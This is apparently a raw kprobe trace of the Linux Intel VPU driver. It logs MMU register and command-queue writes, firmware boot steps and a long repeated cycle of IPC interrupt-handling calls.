+kprobe:intel_vpu:ivpu_mmu_reg_write_cr0 +kprobe:intel_vpu:ivpu_mmu_reg_write_cr0 +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_reg_write_cr0 +kprobe:intel_vpu:ivpu_mmu_reg_write_cr0 +kprobe:intel_vpu:ivpu_mmu_reg_write_irq_ctrl +kprobe:intel_vpu:ivpu_mmu_reg_write_irq_ctrl +kprobe:intel_vpu:ivpu_mmu_reg_write_cr0 +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_boot +kprobe:intel_vpu:ivpu_fw_boot_params_setup +kprobe:intel_vpu:ivpu_hw_boot_fw +kprobe:intel_vpu:ivpu_hw_ip_snoop_disable +kprobe:intel_vpu:ivpu_hw_ip_tbu_mmu_enable +kprobe:intel_vpu:ivpu_hw_ip_soc_cpu_boot +kprobe:intel_vpu:ivpu_wait_for_ready +kprobe:intel_vpu:ivpu_ipc_consumer_add +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive 